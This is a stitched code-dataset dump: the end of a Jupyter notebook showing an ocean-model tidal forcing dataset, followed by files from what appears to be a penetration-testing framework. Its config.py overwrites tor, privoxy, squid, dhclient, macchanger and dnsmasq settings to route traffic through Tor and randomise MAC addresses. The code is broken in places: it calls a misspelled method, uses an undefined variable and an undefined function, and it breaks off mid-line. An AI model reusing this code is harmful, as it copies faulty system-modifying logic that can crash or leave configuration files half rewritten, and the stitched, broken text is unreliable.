xlink:href='#icon-file-text2'></use></svg></label><input id='data-777ce57c-ad75-41f1-90f9-0eb15a3b36df' class='xr-var-data-in' type='checkbox'><label for='data-777ce57c-ad75-41f1-90f9-0eb15a3b36df' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 80 B </td>\n", " <td> 80 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10,) </td>\n", " <td> (10,) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 3 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float64 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"88\" style=\"stroke:rgb(0,0,0);stroke-width:1\" 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id='section-4c3fa7af-30a2-48a6-85e0-806334d571fa' class='xr-section-summary-in' type='checkbox' checked><label for='section-4c3fa7af-30a2-48a6-85e0-806334d571fa' class='xr-section-summary' >Data variables: <span>(8)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>ssh_Re</span></div><div class='xr-var-dims'>(ntides, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-4d33f075-8975-468e-a835-10d0d86f4176' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-4d33f075-8975-468e-a835-10d0d86f4176' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ef0926e4-0ee8-479f-876c-86ba0fe9263b' class='xr-var-data-in' type='checkbox'><label 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xr-preview'>dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-7cc9f01a-0e98-48a7-985b-3d210c78233b' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7cc9f01a-0e98-48a7-985b-3d210c78233b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0ffd2628-bb74-4466-bdea-345d13ab3e20' class='xr-var-data-in' type='checkbox'><label for='data-0ffd2628-bb74-4466-bdea-345d13ab3e20' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal elevation, complex part</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 406.41 kiB </td>\n", " <td> 162.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 102, 102) </td>\n", " <td> (4, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 3 chunks in 74 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"202\" height=\"192\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"32\" y2=\"22\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"120\" x2=\"32\" y2=\"142\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"120\" style=\"stroke-width:2\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"129\" />\n", " <line x1=\"28\" y1=\"18\" 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repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal potential, real part</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 406.41 kiB </td>\n", " <td> 162.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 102, 102) </td>\n", " <td> (4, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 3 chunks in 78 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg 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id='attrs-2cf723b6-4c11-451e-a58d-6950bee2b52a' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-2cf723b6-4c11-451e-a58d-6950bee2b52a' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b128656f-b531-46a0-92a4-031abeb273a2' class='xr-var-data-in' type='checkbox'><label for='data-b128656f-b531-46a0-92a4-031abeb273a2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal potential, complex part</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 406.41 kiB </td>\n", " <td> 162.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 102, 102) </td>\n", " <td> (4, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 3 chunks in 78 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"202\" height=\"192\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"32\" y2=\"22\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"120\" x2=\"32\" y2=\"142\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"120\" style=\"stroke-width:2\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"129\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"138\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" y2=\"142\" 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y1=\"22\" x2=\"152\" y2=\"22\" style=\"stroke-width:2\" />\n", " <line x1=\"32\" y1=\"142\" x2=\"152\" y2=\"142\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" y2=\"142\" style=\"stroke-width:2\" />\n", " <line x1=\"152\" y1=\"22\" x2=\"152\" y2=\"142\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"32.639310257032236,22.639310257032232 152.63931025703224,22.639310257032232 152.63931025703224,142.63931025703224 32.639310257032236,142.63931025703224\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"92.639310\" y=\"162.639310\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"172.639310\" y=\"82.639310\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,172.639310,82.639310)\">102</text>\n", " <text x=\"11.319655\" y=\"151.319655\" font-size=\"1.0rem\" font-weight=\"100\" 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal velocity in x-direction, real part</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 402.42 kiB </td>\n", " <td> 160.97 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 102, 101) </td>\n", " <td> (4, 102, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 3 chunks in 128 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"201\" height=\"192\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines 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for='attrs-ec4fff6a-6819-4e75-b229-38e630f281a9' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e18bea1a-7a5a-4322-a513-84d6d475aa9c' class='xr-var-data-in' type='checkbox'><label for='data-e18bea1a-7a5a-4322-a513-84d6d475aa9c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal velocity in x-direction, complex part</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 402.42 kiB </td>\n", " <td> 160.97 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape 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title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7787b82b-560a-4f64-af1a-5077495e00ba' class='xr-var-data-in' type='checkbox'><label for='data-7787b82b-560a-4f64-af1a-5077495e00ba' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal velocity in y-direction, complex part</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 402.42 kiB </td>\n", " <td> 160.97 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 101, 102) </td>\n", " <td> (4, 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</tr>\n", "</table></div></li></ul></div></li><li class='xr-section-item'><input id='section-fb386f20-c039-44e0-9a9b-67e8245a554a' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-fb386f20-c039-44e0-9a9b-67e8245a554a' class='xr-section-summary' title='Expand/collapse section'>Indexes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-40a1b90b-3d1f-4771-8041-331a90dd85d7' class='xr-section-summary-in' type='checkbox' checked><label for='section-40a1b90b-3d1f-4771-8041-331a90dd85d7' class='xr-section-summary' >Attributes: <span>(5)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS tidal forcing created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>source :</span></dt><dd>TPXO</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>allan_factor :</span></dt><dd>2.0</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 3MB\n", "Dimensions: (ntides: 10, eta_rho: 102, xi_rho: 102, xi_u: 101, eta_v: 101)\n", "Coordinates:\n", " omega (ntides) float64 80B dask.array<chunksize=(10,), meta=np.ndarray>\n", "Dimensions without coordinates: ntides, eta_rho, xi_rho, xi_u, eta_v\n", "Data variables:\n", " ssh_Re (ntides, eta_rho, xi_rho) float32 416kB dask.array<chunksize=(4, 102, 102), meta=np.ndarray>\n", " ssh_Im (ntides, eta_rho, xi_rho) float32 416kB dask.array<chunksize=(4, 102, 102), meta=np.ndarray>\n", " pot_Re (ntides, eta_rho, xi_rho) float32 416kB dask.array<chunksize=(4, 102, 102), meta=np.ndarray>\n", " pot_Im (ntides, eta_rho, xi_rho) float32 416kB dask.array<chunksize=(4, 102, 102), meta=np.ndarray>\n", " u_Re (ntides, eta_rho, xi_u) float32 412kB dask.array<chunksize=(4, 102, 101), meta=np.ndarray>\n", " u_Im (ntides, eta_rho, xi_u) float32 412kB dask.array<chunksize=(4, 102, 101), meta=np.ndarray>\n", " v_Re (ntides, eta_v, xi_rho) float32 412kB dask.array<chunksize=(4, 101, 102), meta=np.ndarray>\n", " v_Im (ntides, eta_v, xi_rho) float32 412kB dask.array<chunksize=(4, 101, 102), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS tidal forcing created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " source: TPXO\n", " model_reference_date: 2000-01-01 00:00:00\n", " allan_factor: 2.0" ] }, "execution_count": 22, "metadata": {}, "output_type": "execute_result" } ], "source": [ "the_same_tidal_forcing.ds" ] }, { "cell_type": "code", "execution_count": null, "id": "a7d4684a-fbfa-4935-b7c4-4b4cf7deea70", "metadata": {}, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "id": "bd436013-0542-4714-b142-ac5cfce2c463", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "romstools", "language": "python", "name": "romstools" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.12.5" } }, "nbformat": 4, "nbformat_minor": 5 }
341,157
Python
.py
2,678
119.964152
197,702
0.760429
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,737
installer.py
CHEGEBB_africana-framework/installer.py
#! /usr/bin/python3 # coding=utf-8 from src.core.system import * while True: try: installer.update_system(); break except: os.system('clear') beauty.graphics(), scriptures.verses() break
229
Python
.py
10
17.7
46
0.635945
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,738
africana.py
CHEGEBB_africana-framework/africana.py
#! /usr/bin/python3 # coding=utf-8 import src.core.langa def main(): try: if __name__ == '__main__': sys.exit(main()) except KeyboardInterrupt: sys.exit(1)
194
Python
.py
9
16.333333
34
0.562842
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,739
config.py
CHEGEBB_africana-framework/configs/config.py
import sys import time import subprocess from src.core.bcolors import * torstring = ['# Created by africana-framework. Delete at your own risk!', '', 'VirtualAddrNetworkIPv4 10.192.0.0/10', 'AutomapHostsOnResolve 1', 'TransPort 9040 IsolateClientAddr IsolateClientProtocol IsolateDestAddr IsolateDestPort', 'DNSPort 5353', 'CookieAuthentication 1'] privoxystring = ['# Created by africana-framework. Delete at your own risk!', '', 'confdir /etc/privoxy', 'logdir /var/log/privoxy', 'logfile logfile', 'debug 4096 ', 'debug 8192', 'user-manual /usr/share/doc/privoxy/user-manual', 'actionsfile default.action', 'actionsfile user.action', 'filterfile default.filter', 'listen-address 127.0.0.1:8118', 'toggle 1', 'enable-remote-toggle 0', 'enable-edit-actions 0', 'enable-remote-http-toggle 0', 'buffer-limit 4096', 'forward-socks5t / 127.0.0.1:9050 .'] squidstring = ['# Created by africana-framework. Delete at your own risk!', '','acl manager proto cache_object', 'acl localhost src 127.0.0.1/32 ::1', 'acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1', 'acl ftp proto FTP', 'acl localnet src 10.0.0.0/8', 'acl localnet src 172.16.0.0/12', 'acl localnet src 192.168.0.0/16', 'acl localnet src fc00::/7', 'acl localnet src fe80::/10', 'acl SSL_ports port 443', 'acl Safe_ports port 80 ', 'acl Safe_ports port 21', 'acl Safe_ports port 443', 'acl Safe_ports port 70', 'acl Safe_ports port 210', 'acl Safe_ports port 1025-65535', 'acl Safe_ports port 280', 'acl Safe_ports port 488', 'acl Safe_ports port 591', 'acl Safe_ports port 777', 'acl Safe_ports port 3128', 'acl CONNECT method CONNECT', 'http_access allow manager localhost', 'http_access deny manager', 'http_access deny !Safe_ports', 'http_access deny CONNECT !SSL_ports', 'http_access allow localhost', 'http_access allow all', 'http_port 3128', 'hierarchy_stoplist cgi-bin ?', 'cache_peer 127.0.0.1 parent 8118 7 no-query no-digest', 'coredump_dir /var/spool/squid', 'refresh_pattern ^ftp: 1440 20% 10080','refresh_pattern ^gopher: 1440 0% 1440', 'refresh_pattern -i (/cgi-bin/|\?) 0 0% 0', 'refresh_pattern . 0 20% 4320', 'httpd_suppress_version_string on', 'forwarded_for off', 'always_direct allow ftp', 'never_direct allow all'] dhclientstring = ['# Created by africana-framework. Delete at your own risk!', '', 'option rfc3442-classless-static-routes code 121 = array of unsigned integer 8;', 'send host-name = gethostname();', 'request subnet-mask, broadcast-address, time-offset, routers,', ' domain-name, domain-name-servers, domain-search, host-name,', ' dhcp6.name-servers, dhcp6.domain-search, dhcp6.fqdn, dhcp6.sntp-servers,', ' netbios-name-servers, netbios-scope, interface-mtu,', ' rfc3442-classless-static-routes, ntp-servers;', 'prepend domain-name-servers 127.0.0.1,1.1.1.1, 1.0.0.1, 8.8.8.8, 8.8.4.4;'] changemacstring = ['# Created by africana-framework. Delete at your own risk!', '', '[Unit]', 'Description=changes mac for %I', 'Wants=network.target', 'Before=network.target', 'BindsTo=sys-subsystem-net-devices-%i.device', 'After=sys-subsystem-net-devices-%i.device', '', '[Service]', 'Type=oneshot', 'ExecStart=/usr/bin/macchanger -r %I', 'RemainAfterExit=yes', '', '[Install]', 'WantedBy=multi-user.target'] resolvstring = ['# Created by africana-framework. Delete at your own risk!', 'nameserver 1.1.1.1', 'nameserver 1.0.0.1', 'nameserver 8.8.8.8', 'nameserver 8.8.4.4'] class configure(object): def __init__(self): pass while True: try: if os.path.exists('/etc/tor/torrc.bak_africana'): print(f"{bcolors.BLUE} [ {bcolors.CYAN} Your system is already configured to be anonymous {bcolors.GREEN} [ x ] {bcolors.BLUE} ]{bcolors.ENDC}") else: return config.onfigure_all() sys.exit(0) except: break def configure_all(self): if os.system("which tor > /dev/null") == 0: if not os.path.exists('/etc/tor/torrc'): print(f"{bcolors.BLUE} [ {bcolors.YELLOW}Torrc file is configured {bcolors.BLUE} ] {bcolors.ENDC}") try: f = open('/etc/tor/torrc', 'w+') for elements in torstring: f.write("%s\n" % elements) f.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN}{bcolors.GREEN}[ ✔ ] {bcolors.BLUE} ]{bcolors.ENDC}") except Exception as e: print(f"{bcolors.BLUE} [ {bcolors.RED}Failed to write the torrc file {bcolors.BLUE} ] {bcolors.ENDC} \n {e} ") pass else: print(f"\n{bcolors.BLUE} [ {bcolors.YELLOW}Configuring Torrc {bcolors.BLUE}]{bcolors.ENDC}") time.sleep(0.4) subprocess.Popen(["cp", "/etc/tor/torrc", "/etc/tor/torrc.bak_africana"], stdout=subprocess.PIPE).communicate() torrc = open('/etc/tor/torrc', 'w') for elements in torstring: torrc.write("%s\n" % elements) torrc.close() print(f"\n{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN}[ ✔ ] {bcolors.BLUE} ]{bcolors.ENDC}") else: print(f"\n{bcolors.BLUE} [ {bcolors.RED}No! Tor try 'apt install tor' {bcolors.BLUE} ] {bcolors.ENDC}") print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ x ] {bcolors.BLUE} ]{bcolors.ENDC}") pass infile = "/lib/systemd/system/[email protected]" outfile = "/lib/systemd/system/[email protected]" delete_list = ['# Created by africana-framework. Delete at your own risk!\n', '[Install]\n', 'WantedBy=multi-user.target'] fin = open(infile) os.remove("/lib/systemd/system/[email protected]") fout = open(outfile, "w+") for line in fin: for word in delete_list: line = line.replace(word, '') fout.write(line) fin.close() fout.close() os.system('echo -n "\n# Created by africana-framework. Delete at your own risk!\n" >> "/lib/systemd/system/[email protected]"') infile = "/lib/systemd/system/[email protected]" outfile = "/lib/systemd/system/[email protected]" delete_list = ['# Created by africana-framework. Delete at your own risk!\n'] fin = open(infile) os.remove("/lib/systemd/system/[email protected]") fout = open(outfile, "w+") for line in fin: for word in delete_list: line = line.replace(word, '# Created by africana-framework. Delete at your own risk!\n[Install]\nWantedBy=multi-user.target') fout.write(line) fin.close() fout.close() if os.system("which privoxy > /dev/null") == 0: if not os.path.exists('/etc/privoxy/config'): print(f"{bcolors.BLUE} [ {bcolors.YELLOW}No privoxy/config file is configured {bcolors.BLUE} ] {bcolors.ENDC}") try: f = open('/etc/privoxy/config', 'w+') for elements in privoxytring: f.write("%s\n" % elements) f.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ ✔ ] {bcolors.BLUE} ]{bcolors.ENDC}") except Exception as e: print(f"{bcolors.BLUE} [ {bcolors.YELLOW} Failed to write the privoxy/config file. {bcolors.BLUE} ] {bcolors.ENDC}\n {e}") print(f"{color(bcolors.RED)}{bcolors.ENDC} ") pass else: print(f"{bcolors.BLUE} [ {bcolors.YELLOW}Configuring privoxy/config. {bcolors.BLUE} ] {bcolors.ENDC}") time.sleep(0.4) subprocess.Popen(["cp", "/etc/privoxy/config", "/etc/privoxy/config.bak_africana"], stdout=subprocess.PIPE).communicate() privoxy = open('/etc/privoxy/config', 'w') for elements in privoxystring: privoxy.write("%s\n" % elements) privoxy.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ ✔ ] {bcolors.BLUE} ]{bcolors.ENDC}") else: print(f"{bcolors.BLUE} [ {bcolors.RED}No! privoxy try 'apt install privoxy' {bcolors.BLUE} ] {bcolors.ENDC}") print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ x ] {bcolors.BLUE} ]{bcolors.ENDC}") pass if os.system("which squid > /dev/null") == 0: if not os.path.exists('/etc/squid/squid.conf'): print(f"{bcolors.BLUE} [ {bcolors.RED} No squid/config file is configured. {bcolors.BLUE} ] {bcolors.ENDC}") try: f = open('/etc/squid/squid.conf', 'w+') for elements in squidstring: f.write("%s\n" % elements) f.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ ✔ ] {bcolors.BLUE} ]{bcolors.ENDC}") except Exception as e: print(f"{bcolors.BLUE} [ {bcolors.RED} Failed to write the squid/config file {bcolors.BLUE} ] {bcolors.ENDC} \n {e}") pass else: print(f"{bcolors.BLUE} [ {bcolors.YELLOW} Configuring Squid/config {bcolors.BLUE} ] {bcolors.ENDC}") time.sleep(0.4) subprocess.Popen(["cp", "/etc/squid/squid.conf", "/etc/squid/config.bak_africana"], stdout=subprocess.PIPE).communicate() squid = open('/etc/squid/squid.conf', 'w') for elements in squidstring: squid.write("%s\n" % elements) squid.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ ✔ ] {bcolors.BLUE} ]{bcolors.ENDC}") else: print(f"{bcolors.BLUE} [ {bcolors.RED}No! Squid try 'apt install squid' {bcolors.BLUE}] {bcolors.ENDC}") print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ x ] {bcolors.BLUE} ]{bcolors.ENDC}") pass if os.system("which dhclient > /dev/null") == 0: if not os.path.exists('/etc/dhcp/dhclient.conf'): print(f"{bcolors.BLUE} [{bcolors.YELLOW} No dhclient.conf file is configured. {bcolors.BLUE}] {bcolors.ENDC}") try: f = open('/etc/dhcp/dhclient.conf', 'w+') for elements in dhclientstring: f.write("%s\n" % elements) f.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ ✔ ] {bcolors.BLUE} ]{bcolors.ENDC}") except Exception as e: print(f"{bcolors.BLUE} [ {bcolors.RED} Failed to write the dhclient.conf file {bcolors.BLUE} ] {bcolors.ENDC}\n {e}") pass else: print(f"{bcolors.BLUE} [ {bcolors.YELLOW} Configuring dhclient.conf file {bcolors.BLUE} ]{bcolors.ENDC}") time.sleep(0.4) subprocess.Popen(["cp", "/etc/dhcp/dhclient.conf", "/etc/dhcp/dhclient.bak_africana"], stdout=subprocess.PIPE).communicate() dhclient = open('/etc/dhcp/dhclient.conf', 'w') for elements in dhclientstring: dhclient.write("%s\n" % elements) dhclient.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ ✔ ] {bcolors.BLUE} ]{bcolors.ENDC}") else: print(f"{bcolors.BLUE} [ {bcolors.RED}No! dhcp try 'apt install isc-dhcp-client' {bcolors.BLUE}]{bcolors.ENDC}") print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ x ] {bcolors.BLUE} ]{bcolors.ENDC}") pass if os.system("which macchanger > /dev/null") == 0: if not os.path.exists('/etc/systemd/system/[email protected]'): print(f"{bcolors.BLUE} [ {bcolors.RED} No [email protected] file is configured. Configuring:) {bcolors.BLUE} ] {bcolors.ENDC}") try: f = open('/etc/systemd/system/[email protected]', 'w+') for elements in changemacstring: f.write("%s\n" % elements) f.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ ✔ ] {bcolors.BLUE} ]{bcolors.ENDC}") except Exception as e: print(f"{bcolors.BLUE} [ {bcolors.RED} Failed to write the [email protected] file {bcolors.BLUE} ] {bcolors.ENDC}\n {e}") pass else: print(f"{bcolors.BLUE} [ {bcolors.YELLOW}Configuring [email protected] {bcolors.BLUE} ] {bcolors.ENDC}") time.sleep(0.4) subprocess.Popen(["cp", "/etc/systemd/system/[email protected]", "/etc/systemd/system/[email protected]_africana"], stdout=subprocess.PIPE).communicate() changemac = open('/etc/systemd/system/[email protected]', 'w') for elements in changemacstring: changemac.write("%s\n" % elements) changemac.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN}[ ✔ ]{bcolors.BLUE}]{bcolors.ENDC}") else: print(f"{bcolors.BLUE} [ {bcolors.RED}No! macch try 'apt install macchanger' {bcolors.BLUE}]{bcolors.ENDC}") print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ x ] {bcolors.BLUE} ]{bcolors.ENDC}") pass if os.system("which dnsmasq > /dev/null") == 0: if not os.path.exists('/etc/dnsmasq.conf'): print(f"{bcolors.BLUE} [ {bcolors.RED}No dnsmasq.conf file is configured {bcolors.BLUE}] {bcolors.ENDC}") print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ x ] {bcolors.BLUE} ]{bcolors.ENDC}") try: infile = "/etc/dnsmasq.conf" outfile = "/etc/dnsmasq.conf" delete_list = ['#port=5353'] fin = open(infile) os.remove("/etc/dnsmasq.conf") fout = open(outfile, "w+") for line in fin: for word in delete_list: line = line.replace(word, 'port=5353') fout.write(line) fin.close() fout.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN}{bcolors.GREEN} [ ✔ ] {bcolors.BLUE} ]{bcolors.ENDC}") except Exception as e: print(f"{bcolors.BLUE} [ {bcolors.RED}Failed to write the dnsmasq.conf file {bcolors.BLUE}] {bcolors.ENDC}") print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ x ] {bcolors.BLUE} ]{bcolors.ENDC}\n") pass else: print(f"{bcolors.BLUE} [ {bcolors.YELLOW} Configuring dnsmasq.conf{bcolors.BLUE} ] {bcolors.ENDC}") time.sleep(0.4) try: infile = "/etc/dnsmasq.conf" outfile = "/etc/dnsmasq.conf" delete_list = ['#port=5353'] fin = open(infile) os.remove("/etc/dnsmasq.conf") fout = open(outfile, "w+") for line in fin: for word in delete_list: line = line.replace(word, 'port=5353') fout.write(line) fin.close() fout.close() print(f"{bcolors.BLUE} [ {bcolors.CYAN} {bcolors.GREEN} [ ✔ ] 